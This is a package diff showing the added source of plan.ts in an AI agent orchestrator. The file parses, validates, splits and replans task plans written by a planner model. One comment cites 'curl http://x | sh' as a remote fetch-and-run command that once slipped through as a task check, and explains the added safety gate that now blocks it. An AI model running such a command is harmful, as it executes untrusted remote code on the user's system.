@omacode/micromanager 0.0.0-stage → 0.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +201 -0
- package/README.md +27 -2
- package/evolver/mm_evolve/__init__.py +1 -0
- package/evolver/mm_evolve/entry.py +3 -0
- package/evolver/mm_evolve/evaluator.py +119 -0
- package/evolver/mm_evolve/llm.py +76 -0
- package/evolver/mm_evolve/run.py +89 -0
- package/evolver/mm_evolve/spec.py +62 -0
- package/evolver/pyproject.toml +21 -0
- package/evolver/uv.lock +772 -0
- package/package.json +55 -4
- package/skills/THIRD_PARTY.md +58 -0
- package/skills/code-review/SKILL.md +46 -0
- package/skills/deliberate/SKILL.md +39 -0
- package/skills/diagnosing-bugs/SKILL.md +75 -0
- package/skills/receiving-code-review/SKILL.md +36 -0
- package/skills/research/SKILL.md +18 -0
- package/skills/tdd/SKILL.md +56 -0
- package/skills/tdd/mocking.md +59 -0
- package/skills/tdd/tests.md +77 -0
- package/skills/verification-before-completion/SKILL.md +50 -0
- package/src/agenda.ts +56 -0
- package/src/agents.ts +74 -0
- package/src/ask.ts +243 -0
- package/src/backends.ts +144 -0
- package/src/backlog.ts +436 -0
- package/src/bench.ts +163 -0
- package/src/board.ts +1 -0
- package/src/brief.ts +151 -0
- package/src/browser.ts +624 -0
- package/src/budget.ts +73 -0
- package/src/catalog.ts +214 -0
- package/src/checkchange.ts +180 -0
- package/src/checkpoint.ts +99 -0
- package/src/cli.ts +117 -0
- package/src/compact.ts +162 -0
- package/src/config.ts +340 -0
- package/src/context/capture.ts +1 -0
- package/src/context/digest.ts +1 -0
- package/src/context/embed.ts +1 -0
- package/src/context/index.ts +2 -0
- package/src/context/ledger.ts +1 -0
- package/src/context/manager.ts +1 -0
- package/src/context/memory.ts +1 -0
- package/src/context/policy.ts +1 -0
- package/src/context/prices.ts +1 -0
- package/src/context/recall.ts +1 -0
- package/src/context/rules.ts +1 -0
- package/src/context/search.ts +1 -0
- package/src/context/status.ts +1 -0
- package/src/context/store.ts +1 -0
- package/src/context/summary.ts +1 -0
- package/src/context/tokens.ts +1 -0
- package/src/context/tools.ts +1 -0
- package/src/continuation.ts +122 -0
- package/src/contract.ts +342 -0
- package/src/contractround.ts +225 -0
- package/src/control.ts +1 -0
- package/src/dataset.ts +133 -0
- package/src/decide.ts +690 -0
- package/src/eval.ts +66 -0
- package/src/evolver.ts +369 -0
- package/src/followups.ts +50 -0
- package/src/forms.ts +191 -0
- package/src/gate.ts +90 -0
- package/src/grants.ts +239 -0
- package/src/graph.ts +74 -0
- package/src/guard/index.ts +1 -0
- package/src/guard/wire.ts +1 -0
- package/src/helpers.ts +105 -0
- package/src/hooks.ts +199 -0
- package/src/integration.ts +4 -0
- package/src/jev.ts +141 -0
- package/src/journal.ts +1 -0
- package/src/look.ts +390 -0
- package/src/memory.ts +1 -0
- package/src/native.ts +2455 -0
- package/src/nogit.ts +112 -0
- package/src/outcomes.ts +210 -0
- package/src/pick.ts +112 -0
- package/src/pipelines.ts +252 -0
- package/src/plan.ts +449 -0
- package/src/plugin.ts +3187 -0
- package/src/policy.ts +84 -0
- package/src/pools.ts +1 -0
- package/src/profile.ts +186 -0
- package/src/progress.ts +1 -0
- package/src/redact.ts +1 -0
- package/src/registry.ts +207 -0
- package/src/roles.ts +1 -0
- package/src/routing.ts +1 -0
- package/src/runner.ts +1506 -0
- package/src/sandbox.ts +4 -0
- package/src/scheduler.ts +200 -0
- package/src/session.ts +269 -0
- package/src/shell/decide.ts +1 -0
- package/src/shell/index.ts +2 -0
- package/src/shell/sandbox.ts +1 -0
- package/src/shell/wire.ts +1 -0
- package/src/skills.ts +111 -0
- package/src/state.ts +1 -0
- package/src/store.ts +1 -0
- package/src/switcher.ts +1 -0
- package/src/tools.ts +480 -0
- package/src/trials.ts +247 -0
- package/src/usage.ts +1 -0
- package/src/wait.ts +180 -0
- package/src/watchdog.ts +498 -0
- package/src/worktree/git.ts +378 -0
package/src/plan.ts
ADDED
|
@@ -0,0 +1,449 @@
|
|
|
1
|
+
// The planner subagent's plan: parsed from its final message, validated by code, turned into tasks
|
|
2
|
+
// (design.md §7). The planner writes; code decides whether the plan is usable.
|
|
3
|
+
|
|
4
|
+
import { hardRule, readsOnly } from "./decide.ts"
|
|
5
|
+
import { MICROMANAGER, roleById } from "./roles.ts"
|
|
6
|
+
import { DEFAULT_PRIORITY, isDone, type Acceptance, type FollowUp, type Job, type Task } from "./state.ts"
|
|
7
|
+
|
|
8
|
+
export interface PlannedTask {
|
|
9
|
+
readonly id: string
|
|
10
|
+
readonly title: string
|
|
11
|
+
readonly description: string
|
|
12
|
+
readonly role: string
|
|
13
|
+
readonly acceptance: readonly string[]
|
|
14
|
+
readonly dependsOn: readonly string[]
|
|
15
|
+
readonly files: readonly string[]
|
|
16
|
+
readonly parent?: string // the task it was split from (N4)
|
|
17
|
+
readonly priority?: number // 1 (first) .. 5 (last)
|
|
18
|
+
}
|
|
19
|
+
|
|
20
|
+
export interface Plan {
|
|
21
|
+
readonly acceptance: readonly Acceptance[]
|
|
22
|
+
readonly tasks: readonly PlannedTask[]
|
|
23
|
+
}
|
|
24
|
+
|
|
25
|
+
export type Parsed = { readonly plan: Plan; readonly errors?: undefined } | { readonly plan?: undefined; readonly errors: string[] }
|
|
26
|
+
|
|
27
|
+
// Roles that change files must declare what they write, so parallel safety and review have a scope.
|
|
28
|
+
const WRITERS = new Set(["code", "test", "visual", "write", "debug"])
|
|
29
|
+
const ID = /^[A-Za-z][\w.-]{0,31}$/
|
|
30
|
+
|
|
31
|
+
// The JSON object in the message: the last ```json fence, else the outermost {...}.
|
|
32
|
+
export function extractJson(text: string): string | undefined {
|
|
33
|
+
const fences = [...text.matchAll(/```(?:json)?\s*\n([\s\S]*?)```/g)].map((m) => m[1] ?? "")
|
|
34
|
+
const fenced = fences.reverse().find((f) => f.trim().startsWith("{"))
|
|
35
|
+
if (fenced) return fenced
|
|
36
|
+
const start = text.indexOf("{")
|
|
37
|
+
const end = text.lastIndexOf("}")
|
|
38
|
+
return start >= 0 && end > start ? text.slice(start, end + 1) : undefined
|
|
39
|
+
}
|
|
40
|
+
|
|
41
|
+
const strings = (v: unknown): string[] | undefined =>
|
|
42
|
+
Array.isArray(v) && v.every((x) => typeof x === "string") ? (v as string[]) : undefined
|
|
43
|
+
|
|
44
|
+
export function parsePlan(text: string): Parsed {
|
|
45
|
+
const json = extractJson(text)
|
|
46
|
+
if (!json) return { errors: ["no JSON object found"] }
|
|
47
|
+
let raw: { acceptance?: unknown; tasks?: unknown }
|
|
48
|
+
try {
|
|
49
|
+
raw = JSON.parse(json)
|
|
50
|
+
} catch (err) {
|
|
51
|
+
return { errors: [`invalid JSON: ${err instanceof Error ? err.message : String(err)}`] }
|
|
52
|
+
}
|
|
53
|
+
const errors: string[] = []
|
|
54
|
+
if (!Array.isArray(raw.acceptance) || raw.acceptance.length === 0) errors.push("acceptance: a non-empty list is required")
|
|
55
|
+
const acceptance = parseAcceptance(raw.acceptance, errors)
|
|
56
|
+
if (!Array.isArray(raw.tasks) || raw.tasks.length === 0) errors.push("tasks: a non-empty list is required")
|
|
57
|
+
const tasks = parseTasks(raw.tasks, errors)
|
|
58
|
+
errors.push(...checkGraph(acceptance, tasks))
|
|
59
|
+
return errors.length > 0 ? { errors } : { plan: { acceptance, tasks } }
|
|
60
|
+
}
|
|
61
|
+
|
|
62
|
+
function parseTasks(raw: unknown, errors: string[]): PlannedTask[] {
|
|
63
|
+
const tasks: PlannedTask[] = []
|
|
64
|
+
for (const [i, t] of (Array.isArray(raw) ? raw : []).entries()) {
|
|
65
|
+
const item = t as Record<string, unknown>
|
|
66
|
+
const where = `tasks[${i}]${typeof item.id === "string" ? ` (${item.id})` : ""}`
|
|
67
|
+
const acc = strings(item.acceptance ?? [])
|
|
68
|
+
const deps = strings(item.dependsOn ?? [])
|
|
69
|
+
const files = strings(item.files ?? [])
|
|
70
|
+
if (typeof item.id !== "string" || !ID.test(item.id)) errors.push(`${where}: needs an id (letters, digits, . _ -)`)
|
|
71
|
+
if (typeof item.title !== "string" || !item.title.trim()) errors.push(`${where}: needs a title`)
|
|
72
|
+
if (typeof item.role !== "string" || !roleById(item.role)) errors.push(`${where}: unknown role ${JSON.stringify(item.role)}`)
|
|
73
|
+
if (!acc || !deps || !files) errors.push(`${where}: acceptance, dependsOn and files must be lists of strings`)
|
|
74
|
+
if (typeof item.id !== "string" || typeof item.title !== "string" || typeof item.role !== "string" || !acc || !deps || !files) continue
|
|
75
|
+
tasks.push({
|
|
76
|
+
id: item.id,
|
|
77
|
+
title: item.title,
|
|
78
|
+
description: typeof item.description === "string" ? item.description : "",
|
|
79
|
+
role: item.role,
|
|
80
|
+
acceptance: acc,
|
|
81
|
+
dependsOn: deps,
|
|
82
|
+
files,
|
|
83
|
+
...(typeof item.priority === "number" && item.priority >= 1 && item.priority <= 5 ? { priority: Math.round(item.priority) } : {}),
|
|
84
|
+
})
|
|
85
|
+
}
|
|
86
|
+
return tasks
|
|
87
|
+
}
|
|
88
|
+
|
|
89
|
+
function parseAcceptance(raw: unknown, errors: string[]): Acceptance[] {
|
|
90
|
+
const out: Acceptance[] = []
|
|
91
|
+
for (const [i, a] of (Array.isArray(raw) ? raw : []).entries()) {
|
|
92
|
+
const item = a as { id?: unknown; text?: unknown; verify?: unknown }
|
|
93
|
+
if (typeof item.id !== "string" || !ID.test(item.id) || typeof item.text !== "string" || !item.text.trim()) {
|
|
94
|
+
errors.push(`acceptance[${i}]: needs an id and a text`)
|
|
95
|
+
continue
|
|
96
|
+
}
|
|
97
|
+
out.push({ id: item.id, text: item.text, verify: typeof item.verify === "string" && item.verify.trim() ? item.verify : undefined })
|
|
98
|
+
}
|
|
99
|
+
return out
|
|
100
|
+
}
|
|
101
|
+
|
|
102
|
+
function checkGraph(acceptance: readonly Acceptance[], tasks: readonly PlannedTask[]): string[] {
|
|
103
|
+
const errors: string[] = []
|
|
104
|
+
const ids = new Set<string>()
|
|
105
|
+
for (const t of tasks) {
|
|
106
|
+
if (ids.has(t.id)) errors.push(`task ${t.id}: duplicate id`)
|
|
107
|
+
ids.add(t.id)
|
|
108
|
+
}
|
|
109
|
+
const accIds = new Set(acceptance.map((a) => a.id))
|
|
110
|
+
if (accIds.size !== acceptance.length) errors.push("acceptance: duplicate id")
|
|
111
|
+
const covered = new Set<string>()
|
|
112
|
+
for (const t of tasks) {
|
|
113
|
+
for (const d of t.dependsOn) if (!ids.has(d)) errors.push(`task ${t.id}: depends on unknown task ${d}`)
|
|
114
|
+
for (const a of t.acceptance) {
|
|
115
|
+
if (!accIds.has(a)) errors.push(`task ${t.id}: unknown acceptance point ${a}`)
|
|
116
|
+
covered.add(a)
|
|
117
|
+
}
|
|
118
|
+
if (t.acceptance.length === 0) errors.push(`task ${t.id}: needs at least one acceptance point`)
|
|
119
|
+
if (WRITERS.has(t.role) && t.files.length === 0) errors.push(`task ${t.id}: role ${t.role} writes, so it must declare files`)
|
|
120
|
+
}
|
|
121
|
+
for (const a of acceptance) if (!covered.has(a.id)) errors.push(`acceptance ${a.id}: no task covers it`)
|
|
122
|
+
const cycle = findCycle(tasks)
|
|
123
|
+
if (cycle) errors.push(`dependency cycle: ${cycle.join(" -> ")}`)
|
|
124
|
+
return errors
|
|
125
|
+
}
|
|
126
|
+
|
|
127
|
+
function findCycle(tasks: readonly PlannedTask[]): string[] | undefined {
|
|
128
|
+
const deps = new Map(tasks.map((t) => [t.id, t.dependsOn]))
|
|
129
|
+
const state = new Map<string, "visiting" | "done">()
|
|
130
|
+
const path: string[] = []
|
|
131
|
+
const visit = (id: string): string[] | undefined => {
|
|
132
|
+
if (state.get(id) === "done") return undefined
|
|
133
|
+
if (state.get(id) === "visiting") return [...path.slice(path.indexOf(id)), id]
|
|
134
|
+
state.set(id, "visiting")
|
|
135
|
+
path.push(id)
|
|
136
|
+
for (const d of deps.get(id) ?? []) {
|
|
137
|
+
if (!deps.has(d)) continue
|
|
138
|
+
const found = visit(d)
|
|
139
|
+
if (found) return found
|
|
140
|
+
}
|
|
141
|
+
path.pop()
|
|
142
|
+
state.set(id, "done")
|
|
143
|
+
return undefined
|
|
144
|
+
}
|
|
145
|
+
for (const t of tasks) {
|
|
146
|
+
const found = visit(t.id)
|
|
147
|
+
if (found) return found
|
|
148
|
+
}
|
|
149
|
+
return undefined
|
|
150
|
+
}
|
|
151
|
+
|
|
152
|
+
// Wave = length of the longest dependency chain below a task; tasks of one wave may run in parallel.
|
|
153
|
+
export function waves(tasks: readonly PlannedTask[]): Map<string, number> {
|
|
154
|
+
const deps = new Map(tasks.map((t) => [t.id, t.dependsOn]))
|
|
155
|
+
const memo = new Map<string, number>()
|
|
156
|
+
const wave = (id: string): number => {
|
|
157
|
+
const known = memo.get(id)
|
|
158
|
+
if (known !== undefined) return known
|
|
159
|
+
const w = Math.max(0, ...(deps.get(id) ?? []).map((d) => wave(d) + 1))
|
|
160
|
+
memo.set(id, w)
|
|
161
|
+
return w
|
|
162
|
+
}
|
|
163
|
+
return new Map(tasks.map((t) => [t.id, wave(t.id)]))
|
|
164
|
+
}
|
|
165
|
+
|
|
166
|
+
// Puts a validated plan into the job: acceptance points and pending tasks.
|
|
167
|
+
export function applyPlan(job: Job, plan: Plan): void {
|
|
168
|
+
const w = waves(plan.tasks)
|
|
169
|
+
job.acceptance = [...plan.acceptance]
|
|
170
|
+
job.tasks = plan.tasks.map((t): Task => ({
|
|
171
|
+
id: t.id,
|
|
172
|
+
title: t.title,
|
|
173
|
+
description: t.description,
|
|
174
|
+
role: t.role,
|
|
175
|
+
acceptance: [...t.acceptance],
|
|
176
|
+
dependsOn: [...t.dependsOn],
|
|
177
|
+
files: [...t.files],
|
|
178
|
+
wave: w.get(t.id) ?? 0,
|
|
179
|
+
...(t.parent ? { parent: t.parent } : {}),
|
|
180
|
+
priority: t.priority ?? DEFAULT_PRIORITY,
|
|
181
|
+
origin: t.parent ? "split" : "plan",
|
|
182
|
+
status: "pending",
|
|
183
|
+
attempts: 0,
|
|
184
|
+
stages: [],
|
|
185
|
+
signatures: [],
|
|
186
|
+
}))
|
|
187
|
+
}
|
|
188
|
+
|
|
189
|
+
// What the planner is told to return; kept next to the parser so both change together.
|
|
190
|
+
export const PLAN_FORMAT = `Answer with one JSON object in a \`\`\`json fence, nothing else after it:
|
|
191
|
+
{
|
|
192
|
+
"acceptance": [{ "id": "A1", "text": "what must hold", "verify": "a shell command that exits 0 when it holds (optional)" }],
|
|
193
|
+
"tasks": [{
|
|
194
|
+
"id": "T1",
|
|
195
|
+
"title": "short title",
|
|
196
|
+
"description": "what to do, for a worker that knows nothing else",
|
|
197
|
+
"role": "explore | research | plan | code | test | visual | write | debug | review | oracle",
|
|
198
|
+
"acceptance": ["A1"],
|
|
199
|
+
"dependsOn": [],
|
|
200
|
+
"files": ["paths this task may change; empty for read-only roles"],
|
|
201
|
+
"priority": 3
|
|
202
|
+
}]
|
|
203
|
+
}
|
|
204
|
+
Rules: use the fewest independently verifiable tasks—do not split one coherent artifact merely to make tasks smaller;
|
|
205
|
+
every acceptance point is covered by a task; a task that changes files lists them; no dependency cycles.
|
|
206
|
+
Priority is 1 (do first) to 5 (do last), 3 when nothing stands out; among ready tasks the lower number runs first.`
|
|
207
|
+
|
|
208
|
+
// --- N4: splitting tasks (design.md §7) -------------------------------------------------------------------
|
|
209
|
+
|
|
210
|
+
export const MAX_SPLIT_LEVEL = 2
|
|
211
|
+
|
|
212
|
+
export function splitFormat(ids: readonly string[]): string {
|
|
213
|
+
return `Split these tasks into smaller ones: ${ids.join(", ")}.
|
|
214
|
+
Answer with one JSON object in a \`\`\`json fence, nothing else after it:
|
|
215
|
+
{
|
|
216
|
+
"acceptance": [{ "id": "A7", "text": "...", "verify": "..." }],
|
|
217
|
+
"splits": { "${ids[0] ?? "T1"}": [{ "id": "${ids[0] ?? "T1"}.1", "title": "...", "description": "...", "role": "...", "acceptance": ["A1"], "dependsOn": [], "files": ["..."] }] }
|
|
218
|
+
}
|
|
219
|
+
Rules: each split task becomes at least two tasks with ids "<task>.1", "<task>.2", …; each is a vertical slice with its
|
|
220
|
+
own acceptance point (reuse the task's points or add new ones under "acceptance"), changes only files of the task it
|
|
221
|
+
comes from, and may depend on its siblings and on the tasks the original depended on. Together they cover all of the
|
|
222
|
+
original's acceptance points. Do not split a task when the parts could only be checked together.`
|
|
223
|
+
}
|
|
224
|
+
|
|
225
|
+
// Puts the planner's splits into the plan: children replace their parent, tasks that waited for the parent wait for
|
|
226
|
+
// its last children. Code re-validates the whole graph.
|
|
227
|
+
export function applySplits(plan: Plan, text: string, asked: readonly string[]): Parsed {
|
|
228
|
+
const json = extractJson(text)
|
|
229
|
+
if (!json) return { errors: ["no JSON object found"] }
|
|
230
|
+
let raw: { acceptance?: unknown; splits?: unknown }
|
|
231
|
+
try {
|
|
232
|
+
raw = JSON.parse(json)
|
|
233
|
+
} catch (err) {
|
|
234
|
+
return { errors: [`invalid JSON: ${err instanceof Error ? err.message : String(err)}`] }
|
|
235
|
+
}
|
|
236
|
+
const errors: string[] = []
|
|
237
|
+
const added = parseAcceptance(raw.acceptance, errors)
|
|
238
|
+
const splits = raw.splits && typeof raw.splits === "object" ? (raw.splits as Record<string, unknown>) : {}
|
|
239
|
+
const children = new Map<string, PlannedTask[]>()
|
|
240
|
+
for (const [parentId, list] of Object.entries(splits)) {
|
|
241
|
+
const parent = plan.tasks.find((t) => t.id === parentId)
|
|
242
|
+
if (!parent || !asked.includes(parentId)) {
|
|
243
|
+
errors.push(`splits.${parentId}: not one of the tasks to split`)
|
|
244
|
+
continue
|
|
245
|
+
}
|
|
246
|
+
const kidErrors: string[] = []
|
|
247
|
+
const kids = parseTasks(list, kidErrors)
|
|
248
|
+
errors.push(...kidErrors.map((e) => `splits.${parentId}: ${e}`))
|
|
249
|
+
if (!Array.isArray(list) || list.length < 2) errors.push(`splits.${parentId}: a split needs at least two tasks`)
|
|
250
|
+
for (const k of kids) {
|
|
251
|
+
if (!k.id.startsWith(`${parentId}.`)) errors.push(`splits.${parentId}: ${k.id} must be named ${parentId}.<n>`)
|
|
252
|
+
if (parent.files.length && k.files.some((f) => !parent.files.includes(f))) errors.push(`splits.${parentId}: ${k.id} changes files outside ${parentId}'s`)
|
|
253
|
+
}
|
|
254
|
+
const covered = new Set(kids.flatMap((k) => k.acceptance))
|
|
255
|
+
for (const a of parent.acceptance) if (!covered.has(a)) errors.push(`splits.${parentId}: no part covers ${a}`)
|
|
256
|
+
if (kids.length >= 2 && kids.every((k) => k.files.join() === kids[0]!.files.join() && k.acceptance.join() === kids[0]!.acceptance.join())) {
|
|
257
|
+
errors.push(`splits.${parentId}: the parts share files and acceptance points, so the split only adds coordination`)
|
|
258
|
+
}
|
|
259
|
+
children.set(parentId, kids)
|
|
260
|
+
}
|
|
261
|
+
if (errors.length) return { errors }
|
|
262
|
+
// The last children of a split: the ones no sibling depends on.
|
|
263
|
+
const sinks = (id: string) => {
|
|
264
|
+
const kids = children.get(id)!
|
|
265
|
+
return kids.filter((k) => !kids.some((o) => o.dependsOn.includes(k.id))).map((k) => k.id)
|
|
266
|
+
}
|
|
267
|
+
const rewire = (deps: readonly string[]) => deps.flatMap((d) => (children.has(d) ? sinks(d) : [d]))
|
|
268
|
+
const tasks = plan.tasks.flatMap((t) =>
|
|
269
|
+
children.has(t.id)
|
|
270
|
+
? children.get(t.id)!.map((k) => ({ ...k, parent: t.id, dependsOn: [...new Set([...rewire(k.dependsOn), ...rewire(t.dependsOn)])] }))
|
|
271
|
+
: [{ ...t, dependsOn: rewire(t.dependsOn) }],
|
|
272
|
+
)
|
|
273
|
+
const acceptance = [...plan.acceptance, ...added]
|
|
274
|
+
const graph = checkGraph(acceptance, tasks)
|
|
275
|
+
return graph.length ? { errors: graph } : { plan: { acceptance, tasks } }
|
|
276
|
+
}
|
|
277
|
+
|
|
278
|
+
// --- N7: a worker's follow-up becomes a task (design.md §8) --------------------------------------------------
|
|
279
|
+
|
|
280
|
+
// The task a follow-up becomes: a code task on the files it names, with its own acceptance point, after the task
|
|
281
|
+
// that found it. Code builds it (no planner call); N5 classifies it like any other task when it is dispatched.
|
|
282
|
+
// Returns the errors instead when the job's graph would break.
|
|
283
|
+
export function addDiscovered(job: Job, from: Task, item: FollowUp, priority: number): { task?: Task; errors?: string[] } {
|
|
284
|
+
const n = job.tasks.filter((t) => t.id.startsWith(`${from.id}.d`)).length + 1
|
|
285
|
+
const point = `A${Math.max(0, ...job.acceptance.map((a) => Number(a.id.match(/^A(\d+)$/)?.[1] ?? 0))) + 1}`
|
|
286
|
+
const task: Task = {
|
|
287
|
+
id: `${from.id}.d${n}`,
|
|
288
|
+
title: item.what.slice(0, 120),
|
|
289
|
+
description: `Found while doing ${from.id} (${from.title}): ${item.what}. Why: ${item.why}`,
|
|
290
|
+
role: "code",
|
|
291
|
+
acceptance: [point],
|
|
292
|
+
dependsOn: [from.id],
|
|
293
|
+
files: [...item.files],
|
|
294
|
+
wave: from.wave + 1,
|
|
295
|
+
status: "pending",
|
|
296
|
+
attempts: 0,
|
|
297
|
+
stages: [],
|
|
298
|
+
signatures: [],
|
|
299
|
+
priority,
|
|
300
|
+
origin: "discovered",
|
|
301
|
+
}
|
|
302
|
+
const acceptance = [...job.acceptance, { id: point, text: item.what }]
|
|
303
|
+
const errors = checkGraph(acceptance, [...job.tasks.map(asPlanned), asPlanned(task)])
|
|
304
|
+
if (errors.length) return { errors }
|
|
305
|
+
job.acceptance = acceptance
|
|
306
|
+
job.tasks.push(task)
|
|
307
|
+
return { task }
|
|
308
|
+
}
|
|
309
|
+
|
|
310
|
+
const asPlanned = (t: Task): PlannedTask => ({ id: t.id, title: t.title, description: t.description, role: t.role, acceptance: t.acceptance, dependsOn: t.dependsOn, files: t.files })
|
|
311
|
+
|
|
312
|
+
// --- replan (design.md §10.2, Magentic-One) -----------------------------------------------------------------
|
|
313
|
+
|
|
314
|
+
export function replanFormat(job: Job): string {
|
|
315
|
+
const done = job.tasks.filter(isDone)
|
|
316
|
+
const open = job.tasks.filter((t) => !isDone(t) && t.status !== "cancelled")
|
|
317
|
+
return `The job is stalled. Rewrite the unfinished part of the plan.
|
|
318
|
+
|
|
319
|
+
Done (keep, do not repeat; new tasks may depend on them): ${done.map((t) => `${t.id} ${t.title}`).join("; ") || "none"}
|
|
320
|
+
Unfinished (these are replaced by your tasks):
|
|
321
|
+
${open.map((t) => `- ${t.id} [${t.role}] ${t.title} (${t.status}${t.stages.length ? `; last: ${t.stages.at(-1)!.stage} ${t.stages.at(-1)!.result}${t.stages.at(-1)!.evidence ? `: ${t.stages.at(-1)!.evidence!.slice(0, 200)}` : ""}` : ""})`).join("\n") || "- none"}
|
|
322
|
+
What went wrong so far: ${job.lessons.slice(-5).join("; ") || "nothing recorded"}
|
|
323
|
+
Acceptance points: ${job.acceptance.map((a) => `${a.id}: ${a.text}${a.verify ? ` (verify: ${a.verify})` : ""}`).join("; ")}
|
|
324
|
+
|
|
325
|
+
First find the root cause of the stall from the facts above; then plan around it, e.g. a smaller step, another
|
|
326
|
+
order, or a task that removes the obstacle. Use new task ids that are not used yet; you may add acceptance points with
|
|
327
|
+
new ids, and keep the verify commands of existing ones.
|
|
328
|
+
${PLAN_FORMAT.replace('"acceptance": [{', '"acceptance": [(only new points) {')}`
|
|
329
|
+
}
|
|
330
|
+
|
|
331
|
+
// Replaces the unfinished tasks with the planner's new ones; done tasks and their commits stay. The old unfinished
|
|
332
|
+
// tasks are cancelled, so their history stays in the job file.
|
|
333
|
+
export function applyReplan(job: Job, text: string): Parsed {
|
|
334
|
+
const json = extractJson(text)
|
|
335
|
+
if (!json) return { errors: ["no JSON object found"] }
|
|
336
|
+
let raw: { acceptance?: unknown; tasks?: unknown }
|
|
337
|
+
try {
|
|
338
|
+
raw = JSON.parse(json)
|
|
339
|
+
} catch (err) {
|
|
340
|
+
return { errors: [`invalid JSON: ${err instanceof Error ? err.message : String(err)}`] }
|
|
341
|
+
}
|
|
342
|
+
const errors: string[] = []
|
|
343
|
+
const added = parseAcceptance(raw.acceptance ?? [], errors).filter((a) => !job.acceptance.some((x) => x.id === a.id))
|
|
344
|
+
if (!Array.isArray(raw.tasks) || raw.tasks.length === 0) errors.push("tasks: a non-empty list is required")
|
|
345
|
+
const fresh = parseTasks(raw.tasks, errors)
|
|
346
|
+
const used = new Set(job.tasks.map((t) => t.id))
|
|
347
|
+
for (const t of fresh) if (used.has(t.id)) errors.push(`task ${t.id}: id already used; pick a new one`)
|
|
348
|
+
const done = job.tasks.filter(isDone).map(asPlanned)
|
|
349
|
+
const acceptance = [...job.acceptance, ...added]
|
|
350
|
+
errors.push(...checkGraph(acceptance, [...done, ...fresh]))
|
|
351
|
+
return errors.length ? { errors } : { plan: { acceptance, tasks: fresh } }
|
|
352
|
+
}
|
|
353
|
+
|
|
354
|
+
// --- delegated tasks (omo-hybrid): the orchestrator adds one task at a time to its session's rolling job ---------
|
|
355
|
+
|
|
356
|
+
export interface Delegation {
|
|
357
|
+
readonly title: string
|
|
358
|
+
readonly prompt: string
|
|
359
|
+
readonly files: readonly string[] // what the task may change; empty for a reader
|
|
360
|
+
readonly dependsOn: readonly string[]
|
|
361
|
+
readonly priority?: number
|
|
362
|
+
readonly checks: readonly string[] // shell commands that exit 0 when the task is done
|
|
363
|
+
}
|
|
364
|
+
|
|
365
|
+
// The task a delegation becomes: a code task when it names files, an explore task when not (N5 may pick another role
|
|
366
|
+
// when it is dispatched); its checks are its acceptance point. Returns the errors instead when the graph would break.
|
|
367
|
+
export function addDelegated(job: Job, d: Delegation): { task?: Task; errors?: string[] } {
|
|
368
|
+
const n = Math.max(0, ...job.tasks.map((t) => Number(t.id.match(/^T(\d+)$/)?.[1] ?? 0))) + 1
|
|
369
|
+
const point = `A${Math.max(0, ...job.acceptance.map((a) => Number(a.id.match(/^A(\d+)$/)?.[1] ?? 0))) + 1}`
|
|
370
|
+
const byId = new Map(job.tasks.map((t) => [t.id, t]))
|
|
371
|
+
const task: Task = {
|
|
372
|
+
id: `T${n}`,
|
|
373
|
+
title: d.title.slice(0, 120),
|
|
374
|
+
description: d.prompt,
|
|
375
|
+
role: d.files.length ? "code" : "explore",
|
|
376
|
+
acceptance: [point],
|
|
377
|
+
dependsOn: [...d.dependsOn],
|
|
378
|
+
files: [...d.files],
|
|
379
|
+
wave: Math.max(-1, ...d.dependsOn.map((id) => byId.get(id)?.wave ?? 0)) + 1,
|
|
380
|
+
status: "pending",
|
|
381
|
+
attempts: 0,
|
|
382
|
+
stages: [],
|
|
383
|
+
signatures: [],
|
|
384
|
+
priority: d.priority !== undefined && d.priority >= 1 && d.priority <= 5 ? Math.round(d.priority) : DEFAULT_PRIORITY,
|
|
385
|
+
origin: "delegated",
|
|
386
|
+
}
|
|
387
|
+
const acceptance = [...job.acceptance, { id: point, text: d.title, ...(d.checks.length ? { verify: d.checks.join(" && ") } : {}) }]
|
|
388
|
+
const errors = checkGraph(acceptance, [...job.tasks.map(asPlanned), asPlanned(task)])
|
|
389
|
+
if (errors.length) return { errors }
|
|
390
|
+
job.acceptance = acceptance
|
|
391
|
+
job.tasks.push(task)
|
|
392
|
+
return { task }
|
|
393
|
+
}
|
|
394
|
+
|
|
395
|
+
// A check must be a shell command (live test: the orchestrator passed "Run `npm test` from the project root; it must
|
|
396
|
+
// pass ..." as a check, which no worker could ever make exit 0). Returns why a check is not one.
|
|
397
|
+
export function checkProblem(check: string): string | undefined {
|
|
398
|
+
const c = check.trim()
|
|
399
|
+
if (/`/.test(c)) return `"${c.slice(0, 80)}" has backticks: give the command itself, e.g. npm test`
|
|
400
|
+
if (/^(run|ensure|make sure|check|verify|confirm|the|it|all|tests?)\b/i.test(c) && !/^test\s+-/.test(c)) return `"${c.slice(0, 80)}" reads like a sentence: give a shell command that exits 0 when the task is done, e.g. npm test`
|
|
401
|
+
if (/[.!?]$/.test(c) && /\s\w+\s\w+\s\w+\s/.test(c)) return `"${c.slice(0, 80)}" reads like a sentence: give a shell command, e.g. npm test`
|
|
402
|
+
return undefined
|
|
403
|
+
}
|
|
404
|
+
|
|
405
|
+
// Why a check must not run, beyond being a command at all. A check is a model-written string that runGate hands to
|
|
406
|
+
// `sh -c`, so the same questions apply to it that the permission path asks of a shell request: is this destructive or
|
|
407
|
+
// irreversible? The gate bypassed decide.ts entirely, so a check like "curl http://x | sh" was a valid plan and ran.
|
|
408
|
+
// Reusing hardRule rather than a second list keeps one set of rules; a check and a permission request are the same
|
|
409
|
+
// kind of thing, which is why it took a live run to notice they were treated differently.
|
|
410
|
+
export function checkSafetyProblem(check: string, agent = MICROMANAGER.agent): string | undefined {
|
|
411
|
+
return hardRule({ action: "shell", agent, resources: [check.trim()], sessionID: "" })
|
|
412
|
+
}
|
|
413
|
+
|
|
414
|
+
// What a check set must be, beyond each command being one: a writer needs at least one, and each one has to survive
|
|
415
|
+
// the same hard rules as a shell permission request (a check is a model-written string runGate hands to `sh -c`).
|
|
416
|
+
// A reader has no checks at all and is unaffected.
|
|
417
|
+
export function checkSetProblems(checks: readonly string[], writer: boolean): string | undefined {
|
|
418
|
+
const why = checks.map(checkProblem).find(Boolean)
|
|
419
|
+
if (why) return why
|
|
420
|
+
if (!writer) return undefined
|
|
421
|
+
if (checks.length === 0) {
|
|
422
|
+
return "a task that changes files needs a Checks line: one shell command that exits 0 when it is done (e.g. npm test). Without it nothing can tell a finished task from an untouched tree."
|
|
423
|
+
}
|
|
424
|
+
const unsafe = checks.map((c) => checkSafetyProblem(c)).find(Boolean)
|
|
425
|
+
return unsafe
|
|
426
|
+
}
